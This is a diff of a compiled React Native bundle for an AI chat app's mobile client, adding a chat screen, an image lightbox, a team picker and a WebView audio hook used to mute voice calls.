import { Modal, View as View10, Image as Image2, Pressable as Pressable5, Text as Text7, StyleSheet as StyleSheet9 } from "react-native";
|
|
1604
|
+
import { getConfig as getConfig3 } from "@ateam-ai-mobile/core";
|
|
1605
|
+
import { jsx as jsx11, jsxs as jsxs8 } from "react/jsx-runtime";
|
|
1606
|
+
function Lightbox() {
|
|
1607
|
+
const uri = useLightboxStore((s) => s.uri);
|
|
1608
|
+
const hide = useLightboxStore((s) => s.hide);
|
|
1609
|
+
if (!uri) return null;
|
|
1610
|
+
return /* @__PURE__ */ jsx11(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs8(Pressable5, { style: styles9.backdrop, onPress: hide, children: [
|
|
1611
|
+
/* @__PURE__ */ jsx11(
|
|
1612
|
+
Image2,
|
|
1613
|
+
{
|
|
1614
|
+
source: {
|
|
1615
|
+
uri,
|
|
1616
|
+
...uri.startsWith("http") ? {
|
|
1617
|
+
headers: { Authorization: `Bearer ${getConfig3().tokenProvider.getToken()}` }
|
|
1618
|
+
} : {}
|
|
1619
|
+
},
|
|
1620
|
+
style: styles9.image,
|
|
1621
|
+
resizeMode: "contain"
|
|
1622
|
+
}
|
|
1623
|
+
),
|
|
1624
|
+
/* @__PURE__ */ jsx11(View10, { style: styles9.closeHint, children: /* @__PURE__ */ jsx11(Text7, { style: styles9.closeHintText, children: "Tap to close" }) })
|
|
1625
|
+
] }) });
|
|
1626
|
+
}
|
|
1627
|
+
var styles9 = StyleSheet9.create({
|
|
1628
|
+
backdrop: {
|
|
1629
|
+
flex: 1,
|
|
1630
|
+
backgroundColor: "rgba(0,0,0,0.92)",
|
|
1631
|
+
justifyContent: "center"
|
|
1632
|
+
},
|
|
1633
|
+
image: {
|
|
1634
|
+
width: "100%",
|
|
1635
|
+
height: "85%"
|
|
1636
|
+
},
|
|
1637
|
+
closeHint: {
|
|
1638
|
+
position: "absolute",
|
|
1639
|
+
bottom: 40,
|
|
1640
|
+
alignSelf: "center"
|
|
1641
|
+
},
|
|
1642
|
+
closeHintText: {
|
|
1643
|
+
color: "rgba(255,255,255,0.6)",
|
|
1644
|
+
fontSize: 13
|
|
1556
1645
|
}
|
|
1557
|
-
|
|
1558
|
-
|
|
1559
|
-
|
|
1560
|
-
|
|
1561
|
-
|
|
1562
|
-
|
|
1563
|
-
|
|
1646
|
+
});
|
|
1647
|
+
|
|
1648
|
+
// src/AdasChatScreen.tsx
|
|
1649
|
+
import { jsx as jsx12, jsxs as jsxs9 } from "react/jsx-runtime";
|
|
1650
|
+
function isSameDay2(a, b) {
|
|
1651
|
+
return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
|
|
1652
|
+
}
|
|
1653
|
+
function AdasChatScreen({
|
|
1654
|
+
onCallStart,
|
|
1655
|
+
placeholder,
|
|
1656
|
+
footerAccessory,
|
|
1657
|
+
withLightbox = true
|
|
1658
|
+
}) {
|
|
1659
|
+
const messages = useChatStore((s) => s.messages);
|
|
1660
|
+
const loading = useChatStore((s) => s.loading);
|
|
1661
|
+
const conversationLoaded = useChatStore((s) => s.conversationLoaded);
|
|
1662
|
+
const loadConversation = useChatStore((s) => s.loadConversation);
|
|
1663
|
+
const sendMessage = useChatStore((s) => s.sendMessage);
|
|
1664
|
+
const listRef = useRef4(null);
|
|
1665
|
+
const [refreshing, setRefreshing] = useState6(false);
|
|
1666
|
+
const [prefill, setPrefill] = useState6("");
|
|
1667
|
+
useEffect6(() => {
|
|
1668
|
+
if (!conversationLoaded) loadConversation();
|
|
1669
|
+
}, [conversationLoaded, loadConversation]);
|
|
1670
|
+
useEffect6(() => {
|
|
1671
|
+
const unsub = pluginCommandEmitter3.on("prepare-chat-message", ({ text }) => {
|
|
1672
|
+
if (text) setPrefill(text);
|
|
1673
|
+
});
|
|
1674
|
+
return unsub;
|
|
1675
|
+
}, []);
|
|
1676
|
+
const useInverted = Platform6.OS !== "web";
|
|
1677
|
+
const listData = useMemo3(
|
|
1678
|
+
() => useInverted ? [...messages].reverse() : messages,
|
|
1679
|
+
[messages, useInverted]
|
|
1680
|
+
);
|
|
1681
|
+
const scrollToLatest = useCallback5((animated) => {
|
|
1682
|
+
if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
|
|
1683
|
+
else listRef.current?.scrollToEnd({ animated });
|
|
1684
|
+
}, [useInverted]);
|
|
1685
|
+
const handleSend = useCallback5((text) => {
|
|
1686
|
+
setPrefill("");
|
|
1687
|
+
sendMessage(text);
|
|
1688
|
+
scrollToLatest(true);
|
|
1689
|
+
}, [sendMessage, scrollToLatest]);
|
|
1690
|
+
const handleRefresh = useCallback5(async () => {
|
|
1691
|
+
setRefreshing(true);
|
|
1692
|
+
try {
|
|
1693
|
+
await loadConversation();
|
|
1694
|
+
} catch {
|
|
1695
|
+
}
|
|
1696
|
+
setRefreshing(false);
|
|
1697
|
+
}, [loadConversation]);
|
|
1698
|
+
const renderItem = useCallback5(({ item, index }) => {
|
|
1699
|
+
const older = useInverted ? listData[index + 1] : listData[index - 1];
|
|
1700
|
+
const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
|
|
1701
|
+
return /* @__PURE__ */ jsxs9(View11, { children: [
|
|
1702
|
+
showDaySep && /* @__PURE__ */ jsx12(DaySeparator, { date: item.timestamp }),
|
|
1703
|
+
/* @__PURE__ */ jsx12(MessageBubble, { message: item })
|
|
1704
|
+
] });
|
|
1705
|
+
}, [listData, useInverted]);
|
|
1706
|
+
const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx12(TypingIndicator, {}) : null;
|
|
1707
|
+
return /* @__PURE__ */ jsxs9(
|
|
1708
|
+
KeyboardAvoidingView,
|
|
1709
|
+
{
|
|
1710
|
+
style: styles10.root,
|
|
1711
|
+
behavior: Platform6.OS === "ios" ? "padding" : void 0,
|
|
1712
|
+
children: [
|
|
1713
|
+
/* @__PURE__ */ jsx12(
|
|
1714
|
+
FlatList,
|
|
1564
1715
|
{
|
|
1565
|
-
|
|
1566
|
-
|
|
1567
|
-
|
|
1716
|
+
ref: listRef,
|
|
1717
|
+
style: styles10.list,
|
|
1718
|
+
data: listData,
|
|
1719
|
+
inverted: useInverted,
|
|
1720
|
+
keyExtractor: (m) => m.id,
|
|
1721
|
+
renderItem,
|
|
1722
|
+
ListHeaderComponent: useInverted ? typingIndicator : null,
|
|
1723
|
+
ListFooterComponent: useInverted ? null : typingIndicator,
|
|
1724
|
+
onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
|
|
1725
|
+
refreshControl: /* @__PURE__ */ jsx12(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada7.orange }),
|
|
1726
|
+
keyboardShouldPersistTaps: "handled",
|
|
1727
|
+
contentContainerStyle: styles10.listContent
|
|
1568
1728
|
}
|
|
1569
|
-
)
|
|
1570
|
-
|
|
1729
|
+
),
|
|
1730
|
+
footerAccessory,
|
|
1731
|
+
/* @__PURE__ */ jsx12(
|
|
1732
|
+
ChatInput,
|
|
1733
|
+
{
|
|
1734
|
+
onSend: handleSend,
|
|
1735
|
+
onCallStart,
|
|
1736
|
+
loading,
|
|
1737
|
+
prefill,
|
|
1738
|
+
placeholder
|
|
1739
|
+
}
|
|
1740
|
+
),
|
|
1741
|
+
withLightbox && /* @__PURE__ */ jsx12(Lightbox, {}),
|
|
1742
|
+
/* @__PURE__ */ jsx12(WidgetHost, {})
|
|
1743
|
+
]
|
|
1571
1744
|
}
|
|
1572
|
-
|
|
1573
|
-
}
|
|
1574
|
-
};
|
|
1575
|
-
function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
|
|
1576
|
-
const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
|
|
1577
|
-
const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
|
|
1578
|
-
const bridge = useNativeBridge(id, connectorId, commandBufferRef);
|
|
1579
|
-
const native = getPluginNative();
|
|
1580
|
-
const theme = usePluginTheme();
|
|
1581
|
-
const user = getUser();
|
|
1582
|
-
const context = useMemo3(() => ({
|
|
1583
|
-
tenant: getTenant3(),
|
|
1584
|
-
pluginId: id,
|
|
1585
|
-
connectorId,
|
|
1586
|
-
user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
|
|
1587
|
-
}), [id, connectorId, user?.actorId, user?.name]);
|
|
1588
|
-
const iframeUrl = manifest?.render?.iframeUrl;
|
|
1589
|
-
if (bundleMissing && iframeUrl) {
|
|
1590
|
-
return /* @__PURE__ */ jsx10(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
|
|
1591
|
-
}
|
|
1592
|
-
if (loading) {
|
|
1593
|
-
return /* @__PURE__ */ jsxs9(View10, { style: styles10.center, children: [
|
|
1594
|
-
/* @__PURE__ */ jsx10(ActivityIndicator2, { size: "small", color: colors2.dark.accent }),
|
|
1595
|
-
/* @__PURE__ */ jsx10(Text7, { style: styles10.loadingText, children: "Loading plugin..." })
|
|
1596
|
-
] });
|
|
1597
|
-
}
|
|
1598
|
-
if (error || !plugin) {
|
|
1599
|
-
return /* @__PURE__ */ jsx10(View10, { style: styles10.center, children: /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
|
|
1600
|
-
}
|
|
1601
|
-
const { Component } = plugin;
|
|
1602
|
-
return /* @__PURE__ */ jsx10(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx10(Component, { bridge, native, theme, context, props: engineProps }) });
|
|
1745
|
+
);
|
|
1603
1746
|
}
|
|
1604
1747
|
var styles10 = StyleSheet10.create({
|
|
1605
|
-
|
|
1606
|
-
flex: 1,
|
|
1607
|
-
justifyContent: "center",
|
|
1608
|
-
alignItems: "center",
|
|
1609
|
-
backgroundColor: colors2.dark.bgPrimary,
|
|
1610
|
-
paddingHorizontal: 32,
|
|
1611
|
-
gap: 12
|
|
1612
|
-
},
|
|
1613
|
-
loadingText: {
|
|
1614
|
-
color: colors2.dark.textSecondary,
|
|
1615
|
-
fontSize: 14
|
|
1616
|
-
},
|
|
1617
|
-
error: {
|
|
1748
|
+
root: {
|
|
1618
1749
|
flex: 1,
|
|
1619
|
-
|
|
1620
|
-
alignItems: "center",
|
|
1621
|
-
backgroundColor: colors2.dark.bgPrimary,
|
|
1622
|
-
paddingHorizontal: 32,
|
|
1623
|
-
gap: 8
|
|
1624
|
-
},
|
|
1625
|
-
errorTitle: {
|
|
1626
|
-
color: colors2.dark.red,
|
|
1627
|
-
fontSize: 16,
|
|
1628
|
-
fontWeight: "600"
|
|
1629
|
-
},
|
|
1630
|
-
errorMessage: {
|
|
1631
|
-
color: colors2.dark.textSecondary,
|
|
1632
|
-
fontSize: 14,
|
|
1633
|
-
textAlign: "center"
|
|
1750
|
+
backgroundColor: ada7.paper
|
|
1634
1751
|
},
|
|
1635
|
-
|
|
1636
|
-
|
|
1637
|
-
paddingHorizontal: 20,
|
|
1638
|
-
paddingVertical: 10,
|
|
1639
|
-
backgroundColor: colors2.dark.accentSoft,
|
|
1640
|
-
borderRadius: 8
|
|
1752
|
+
list: {
|
|
1753
|
+
flex: 1
|
|
1641
1754
|
},
|
|
1642
|
-
|
|
1643
|
-
|
|
1644
|
-
fontSize: 14,
|
|
1645
|
-
fontWeight: "600"
|
|
1755
|
+
listContent: {
|
|
1756
|
+
paddingVertical: 12
|
|
1646
1757
|
}
|
|
1647
1758
|
});
|
|
1648
1759
|
|
|
1649
|
-
// src/plugin/PluginSurface.tsx
|
|
1650
|
-
import { useEffect as useEffect5, useState as useState6 } from "react";
|
|
1651
|
-
import { View as View11, ActivityIndicator as ActivityIndicator3 } from "react-native";
|
|
1652
|
-
import { ada as ada7 } from "@ateam-ai-mobile/core";
|
|
1653
|
-
import {
|
|
1654
|
-
getPlugin,
|
|
1655
|
-
SurfaceDrawer,
|
|
1656
|
-
SurfaceFullscreen
|
|
1657
|
-
} from "@ateam-ai-mobile/plugin-runtime";
|
|
1658
|
-
import { jsx as jsx11 } from "react/jsx-runtime";
|
|
1659
|
-
function PluginSurface({ pluginId, surface, dismiss, props }) {
|
|
1660
|
-
const [manifest, setManifest] = useState6(null);
|
|
1661
|
-
const [error, setError] = useState6(null);
|
|
1662
|
-
useEffect5(() => {
|
|
1663
|
-
let cancelled = false;
|
|
1664
|
-
getPlugin(pluginId).then((m) => {
|
|
1665
|
-
if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
|
|
1666
|
-
}).catch((e) => {
|
|
1667
|
-
if (!cancelled) setError(e?.message || "Failed to load");
|
|
1668
|
-
});
|
|
1669
|
-
return () => {
|
|
1670
|
-
cancelled = true;
|
|
1671
|
-
};
|
|
1672
|
-
}, [pluginId]);
|
|
1673
|
-
const body = manifest ? /* @__PURE__ */ jsx11(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx11(View11, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx11(ActivityIndicator3, { color: ada7.orange }) });
|
|
1674
|
-
if (surface.type === "fullscreen") {
|
|
1675
|
-
return /* @__PURE__ */ jsx11(
|
|
1676
|
-
SurfaceFullscreen,
|
|
1677
|
-
{
|
|
1678
|
-
visible: true,
|
|
1679
|
-
onClose: dismiss,
|
|
1680
|
-
status: surface.title,
|
|
1681
|
-
showWordmark: true,
|
|
1682
|
-
closeIcon: "x",
|
|
1683
|
-
closeLabel: "Close",
|
|
1684
|
-
children: body
|
|
1685
|
-
}
|
|
1686
|
-
);
|
|
1687
|
-
}
|
|
1688
|
-
return /* @__PURE__ */ jsx11(
|
|
1689
|
-
SurfaceDrawer,
|
|
1690
|
-
{
|
|
1691
|
-
visible: true,
|
|
1692
|
-
onClose: dismiss,
|
|
1693
|
-
title: surface.title || pluginId,
|
|
1694
|
-
subtitle: surface.subtitle,
|
|
1695
|
-
privacy: !!surface.privacy,
|
|
1696
|
-
children: body
|
|
1697
|
-
}
|
|
1698
|
-
);
|
|
1699
|
-
}
|
|
1700
|
-
|
|
1701
1760
|
// src/widgets/WidgetWebView.tsx
|
|
1702
1761
|
import { useMemo as useMemo4, useState as useState7 } from "react";
|
|
1703
1762
|
import {
|
|
@@ -1712,7 +1771,7 @@ import {
|
|
|
1712
1771
|
import { WebView as WebView2 } from "react-native-webview";
|
|
1713
1772
|
import { ada as ada8 } from "@ateam-ai-mobile/core";
|
|
1714
1773
|
import { getCoreApiUrl as getCoreApiUrl2 } from "@ateam-ai-mobile/core";
|
|
1715
|
-
import { Fragment as Fragment2, jsx as
|
|
1774
|
+
import { Fragment as Fragment2, jsx as jsx13, jsxs as jsxs10 } from "react/jsx-runtime";
|
|
1716
1775
|
var fontFam4 = Platform7.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
1717
1776
|
function WidgetWebView({ visible, title, bundleUrl, onClose }) {
|
|
1718
1777
|
const [loading, setLoading] = useState7(true);
|
|
@@ -1722,7 +1781,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
|
|
|
1722
1781
|
if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
|
|
1723
1782
|
return `${getCoreApiUrl2()}${bundleUrl}`;
|
|
1724
1783
|
}, [bundleUrl]);
|
|
1725
|
-
return /* @__PURE__ */
|
|
1784
|
+
return /* @__PURE__ */ jsx13(
|
|
1726
1785
|
Modal2,
|
|
1727
1786
|
{
|
|
1728
1787
|
visible,
|
|
@@ -1731,15 +1790,15 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
|
|
|
1731
1790
|
onRequestClose: onClose,
|
|
1732
1791
|
children: /* @__PURE__ */ jsxs10(View12, { style: styles11.root, children: [
|
|
1733
1792
|
/* @__PURE__ */ jsxs10(View12, { style: styles11.bar, children: [
|
|
1734
|
-
/* @__PURE__ */
|
|
1735
|
-
/* @__PURE__ */
|
|
1736
|
-
/* @__PURE__ */
|
|
1793
|
+
/* @__PURE__ */ jsx13(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
|
|
1794
|
+
/* @__PURE__ */ jsx13(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
|
|
1795
|
+
/* @__PURE__ */ jsx13(View12, { style: styles11.closeBtn })
|
|
1737
1796
|
] }),
|
|
1738
|
-
!uri ? /* @__PURE__ */
|
|
1739
|
-
/* @__PURE__ */
|
|
1740
|
-
/* @__PURE__ */
|
|
1797
|
+
!uri ? /* @__PURE__ */ jsx13(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
|
|
1798
|
+
/* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
|
|
1799
|
+
/* @__PURE__ */ jsx13(Text8, { style: styles11.errorSub, children: error })
|
|
1741
1800
|
] }) : /* @__PURE__ */ jsxs10(Fragment2, { children: [
|
|
1742
|
-
/* @__PURE__ */
|
|
1801
|
+
/* @__PURE__ */ jsx13(
|
|
1743
1802
|
WebView2,
|
|
1744
1803
|
{
|
|
1745
1804
|
source: { uri },
|
|
@@ -1761,7 +1820,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
|
|
|
1761
1820
|
setSupportMultipleWindows: false
|
|
1762
1821
|
}
|
|
1763
1822
|
),
|
|
1764
|
-
loading && /* @__PURE__ */
|
|
1823
|
+
loading && /* @__PURE__ */ jsx13(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx13(ActivityIndicator4, { color: ada8.orange }) })
|
|
1765
1824
|
] })
|
|
1766
1825
|
] })
|
|
1767
1826
|
}
|
|
@@ -1830,6 +1889,596 @@ var styles11 = StyleSheet11.create({
|
|
|
1830
1889
|
textAlign: "center"
|
|
1831
1890
|
}
|
|
1832
1891
|
});
|
|
1892
|
+
|
|
1893
|
+
// src/TenantPicker.tsx
|
|
1894
|
+
import { useEffect as useEffect7, useState as useState8 } from "react";
|
|
1895
|
+
import { View as View13, Text as Text9, Pressable as Pressable7, ActivityIndicator as ActivityIndicator5, StyleSheet as StyleSheet12, Platform as Platform8 } from "react-native";
|
|
1896
|
+
import { ada as ada9, fontSize as fontSize5, borderRadius as borderRadius5, listMyTenants, getTenant as getTenant4 } from "@ateam-ai-mobile/core";
|
|
1897
|
+
import { jsx as jsx14, jsxs as jsxs11 } from "react/jsx-runtime";
|
|
1898
|
+
var fontFam5 = Platform8.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
1899
|
+
function TenantPicker({ onSelect, currentTenantId }) {
|
|
1900
|
+
const [tenants, setTenants] = useState8(null);
|
|
1901
|
+
const [error, setError] = useState8(null);
|
|
1902
|
+
const active = currentTenantId ?? getTenant4();
|
|
1903
|
+
useEffect7(() => {
|
|
1904
|
+
let cancelled = false;
|
|
1905
|
+
listMyTenants().then((list) => {
|
|
1906
|
+
if (!cancelled) setTenants(list);
|
|
1907
|
+
}).catch((e) => {
|
|
1908
|
+
if (!cancelled) setError(e?.message || "Failed to load teams");
|
|
1909
|
+
});
|
|
1910
|
+
return () => {
|
|
1911
|
+
cancelled = true;
|
|
1912
|
+
};
|
|
1913
|
+
}, []);
|
|
1914
|
+
if (error) return /* @__PURE__ */ jsx14(Text9, { style: styles12.error, children: error });
|
|
1915
|
+
if (!tenants) {
|
|
1916
|
+
return /* @__PURE__ */ jsx14(View13, { style: styles12.loading, children: /* @__PURE__ */ jsx14(ActivityIndicator5, { color: ada9.orange }) });
|
|
1917
|
+
}
|
|
1918
|
+
if (tenants.length === 0) return /* @__PURE__ */ jsx14(Text9, { style: styles12.empty, children: "No teams found for this account." });
|
|
1919
|
+
return /* @__PURE__ */ jsx14(View13, { style: styles12.list, children: tenants.map((t) => {
|
|
1920
|
+
const isActive = t.id === active;
|
|
1921
|
+
return /* @__PURE__ */ jsxs11(
|
|
1922
|
+
Pressable7,
|
|
1923
|
+
{
|
|
1924
|
+
accessibilityRole: "button",
|
|
1925
|
+
accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
|
|
1926
|
+
onPress: () => onSelect(t),
|
|
1927
|
+
style: [styles12.row, isActive && styles12.rowActive],
|
|
1928
|
+
children: [
|
|
1929
|
+
/* @__PURE__ */ jsx14(View13, { style: styles12.dot }),
|
|
1930
|
+
/* @__PURE__ */ jsxs11(View13, { style: styles12.rowText, children: [
|
|
1931
|
+
/* @__PURE__ */ jsx14(Text9, { style: styles12.name, children: t.name }),
|
|
1932
|
+
/* @__PURE__ */ jsx14(Text9, { style: styles12.slug, children: t.id })
|
|
1933
|
+
] }),
|
|
1934
|
+
isActive && /* @__PURE__ */ jsx14(Text9, { style: styles12.check, children: "\u2713" })
|
|
1935
|
+
]
|
|
1936
|
+
},
|
|
1937
|
+
t.id
|
|
1938
|
+
);
|
|
1939
|
+
}) });
|
|
1940
|
+
}
|
|
1941
|
+
var styles12 = StyleSheet12.create({
|
|
1942
|
+
list: {
|
|
1943
|
+
gap: 10
|
|
1944
|
+
},
|
|
1945
|
+
row: {
|
|
1946
|
+
flexDirection: "row",
|
|
1947
|
+
alignItems: "center",
|
|
1948
|
+
gap: 12,
|
|
1949
|
+
backgroundColor: ada9.paperSoft,
|
|
1950
|
+
borderRadius: borderRadius5.lg,
|
|
1951
|
+
borderWidth: 1,
|
|
1952
|
+
borderColor: "transparent",
|
|
1953
|
+
paddingHorizontal: 16,
|
|
1954
|
+
paddingVertical: 14
|
|
1955
|
+
},
|
|
1956
|
+
rowActive: {
|
|
1957
|
+
backgroundColor: ada9.orangeSoft,
|
|
1958
|
+
borderColor: ada9.orange
|
|
1959
|
+
},
|
|
1960
|
+
dot: {
|
|
1961
|
+
width: 10,
|
|
1962
|
+
height: 10,
|
|
1963
|
+
borderRadius: 5,
|
|
1964
|
+
backgroundColor: ada9.orange
|
|
1965
|
+
},
|
|
1966
|
+
rowText: {
|
|
1967
|
+
flex: 1
|
|
1968
|
+
},
|
|
1969
|
+
name: {
|
|
1970
|
+
color: ada9.ink,
|
|
1971
|
+
fontSize: fontSize5.lg,
|
|
1972
|
+
fontWeight: "600",
|
|
1973
|
+
fontFamily: fontFam5
|
|
1974
|
+
},
|
|
1975
|
+
slug: {
|
|
1976
|
+
color: ada9.inkMuted,
|
|
1977
|
+
fontSize: fontSize5.sm,
|
|
1978
|
+
fontFamily: "monospace"
|
|
1979
|
+
},
|
|
1980
|
+
check: {
|
|
1981
|
+
color: ada9.orangeDeep,
|
|
1982
|
+
fontSize: fontSize5.lg,
|
|
1983
|
+
fontWeight: "700"
|
|
1984
|
+
},
|
|
1985
|
+
loading: {
|
|
1986
|
+
paddingVertical: 24,
|
|
1987
|
+
alignItems: "center"
|
|
1988
|
+
},
|
|
1989
|
+
empty: {
|
|
1990
|
+
color: ada9.inkMuted,
|
|
1991
|
+
fontSize: fontSize5.md,
|
|
1992
|
+
textAlign: "center",
|
|
1993
|
+
paddingVertical: 16
|
|
1994
|
+
},
|
|
1995
|
+
error: {
|
|
1996
|
+
color: "#C15545",
|
|
1997
|
+
fontSize: fontSize5.md,
|
|
1998
|
+
textAlign: "center",
|
|
1999
|
+
paddingVertical: 16
|
|
2000
|
+
}
|
|
2001
|
+
});
|
|
2002
|
+
|
|
2003
|
+
// src/voice/VoiceCallSheet.tsx
|
|
2004
|
+
import { useEffect as useEffect8, useRef as useRef6, useMemo as useMemo5 } from "react";
|
|
2005
|
+
import {
|
|
2006
|
+
View as View14,
|
|
2007
|
+
Text as Text10,
|
|
2008
|
+
StyleSheet as StyleSheet13,
|
|
2009
|
+
Platform as Platform9,
|
|
2010
|
+
Pressable as Pressable8,
|
|
2011
|
+
ScrollView
|
|
2012
|
+
} from "react-native";
|
|
2013
|
+
import Svg2, { Path as Path2, Line as Line2 } from "react-native-svg";
|
|
2014
|
+
import { WebView as WebView3 } from "react-native-webview";
|
|
2015
|
+
import { ada as ada10 } from "@ateam-ai-mobile/core";
|
|
2016
|
+
import { AdaOrb as AdaOrb3, SurfaceFullscreen as SurfaceFullscreen2 } from "@ateam-ai-mobile/plugin-runtime";
|
|
2017
|
+
|
|
2018
|
+
// src/voice/useVoiceCall.ts
|
|
2019
|
+
import { useState as useState9, useRef as useRef5, useCallback as useCallback6 } from "react";
|
|
2020
|
+
import { getVoiceApiUrl as getVoiceApiUrl2, getToken as getToken2, getTenant as getTenant5, getUser as getUser2 } from "@ateam-ai-mobile/core";
|
|
2021
|
+
var INJECT_TRACK_HOOK = `
|
|
2022
|
+
(function() {
|
|
2023
|
+
if (window._adaTrackHookInstalled) return;
|
|
2024
|
+
window._adaTrackHookInstalled = true;
|
|
2025
|
+
window._allAudioTracks = [];
|
|
2026
|
+
window._adaPeerConnections = [];
|
|
2027
|
+
|
|
2028
|
+
function track(t) {
|
|
2029
|
+
if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
|
|
2030
|
+
window._allAudioTracks.push(t);
|
|
2031
|
+
}
|
|
2032
|
+
}
|
|
2033
|
+
|
|
2034
|
+
// 1) Hook getUserMedia \u2014 captures mic streams at request time.
|
|
2035
|
+
try {
|
|
2036
|
+
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
|
|
2037
|
+
const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
|
|
2038
|
+
navigator.mediaDevices.getUserMedia = async function(constraints) {
|
|
2039
|
+
const stream = await origGUM(constraints);
|
|
2040
|
+
if (constraints && constraints.audio) {
|
|
2041
|
+
try { stream.getAudioTracks().forEach(track); } catch (e) {}
|
|
2042
|
+
}
|
|
2043
|
+
return stream;
|
|
2044
|
+
};
|
|
2045
|
+
}
|
|
2046
|
+
} catch (e) {}
|
|
2047
|
+
|
|
2048
|
+
// 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
|
|
2049
|
+
try {
|
|
2050
|
+
if (window.RTCPeerConnection) {
|
|
2051
|
+
const origPC = window.RTCPeerConnection;
|
|
2052
|
+
const origAddTrack = origPC.prototype.addTrack;
|
|
2053
|
+
const origAddStream = origPC.prototype.addStream;
|
|
2054
|
+
const origAddTransceiver = origPC.prototype.addTransceiver;
|
|
2055
|
+
|
|
2056
|
+
origPC.prototype.addTrack = function(t) {
|
|
2057
|
+
if (t && t.kind === 'audio') track(t);
|
|
2058
|
+
return origAddTrack.apply(this, arguments);
|
|
2059
|
+
};
|
|
2060
|
+
if (origAddStream) {
|
|
2061
|
+
origPC.prototype.addStream = function(stream) {
|
|
2062
|
+
try { stream.getAudioTracks().forEach(track); } catch (e) {}
|
|
2063
|
+
return origAddStream.apply(this, arguments);
|
|
2064
|
+
};
|
|
2065
|
+
}
|
|
2066
|
+
if (origAddTransceiver) {
|
|
2067
|
+
origPC.prototype.addTransceiver = function(arg) {
|
|
2068
|
+
if (arg && arg.kind === 'audio') {
|
|
2069
|
+
// Transceiver created with kind 'audio' \u2014 sender track set later.
|
|
2070
|
+
} else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
|
|
2071
|
+
track(arg.track);
|
|
2072
|
+
}
|
|
2073
|
+
const tx = origAddTransceiver.apply(this, arguments);
|
|
2074
|
+
try {
|
|
2075
|
+
if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
|
|
2076
|
+
} catch (e) {}
|
|
2077
|
+
return tx;
|
|
2078
|
+
};
|
|
2079
|
+
}
|
|
2080
|
+
}
|
|
2081
|
+
} catch (e) {}
|
|
2082
|
+
|
|
2083
|
+
// 3) Helper exposed for direct calls.
|
|
2084
|
+
window._adaSetMuted = function(muted) {
|
|
2085
|
+
let n = 0;
|
|
2086
|
+
if (Array.isArray(window._allAudioTracks)) {
|
|
2087
|
+
window._allAudioTracks.forEach(function(t) {
|
|
2088
|
+
try { t.enabled = !muted; n++; } catch (e) {}
|
|
2089
|
+
});
|
|
2090
|
+
}
|
|
2091
|
+
return n;
|
|
2092
|
+
};
|
|
2093
|
+
})(); true;
|
|
2094
|
+
`;
|
|
2095
|
+
var buildMuteScript = (muted) => `
|
|
2096
|
+
(function(muted) {
|
|
2097
|
+
if (typeof window.setMuted === 'function') { window.setMuted(muted); }
|
|
2098
|
+
let n = 0;
|
|
2099
|
+
if (typeof window._adaSetMuted === 'function') {
|
|
2100
|
+
n = window._adaSetMuted(muted);
|
|
2101
|
+
}
|
|
2102
|
+
// Last-resort scan if hook somehow missed.
|
|
2103
|
+
if (n === 0 && Array.isArray(window._allAudioTracks)) {
|
|
2104
|
+
window._allAudioTracks.forEach(function(t) {
|
|
2105
|
+
try { t.enabled = !muted; n++; } catch (e) {}
|
|
2106
|
+
});
|
|
2107
|
+
}
|
|
2108
|
+
console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
|
|
2109
|
+
})(${muted}); true;
|
|
2110
|
+
`;
|
|
2111
|
+
function useVoiceCall() {
|
|
2112
|
+
const [callState, setCallState] = useState9("idle");
|
|
2113
|
+
const [sessionId, setSessionId] = useState9(null);
|
|
2114
|
+
const [error, setError] = useState9(null);
|
|
2115
|
+
const [transcript, setTranscript] = useState9([]);
|
|
2116
|
+
const [aiPartial, setAiPartial] = useState9("");
|
|
2117
|
+
const [userPartial, setUserPartial] = useState9("");
|
|
2118
|
+
const [muted, setMuted] = useState9(false);
|
|
2119
|
+
const webViewRef = useRef5(null);
|
|
2120
|
+
const handleWebViewMessage = useCallback6((event) => {
|
|
2121
|
+
try {
|
|
2122
|
+
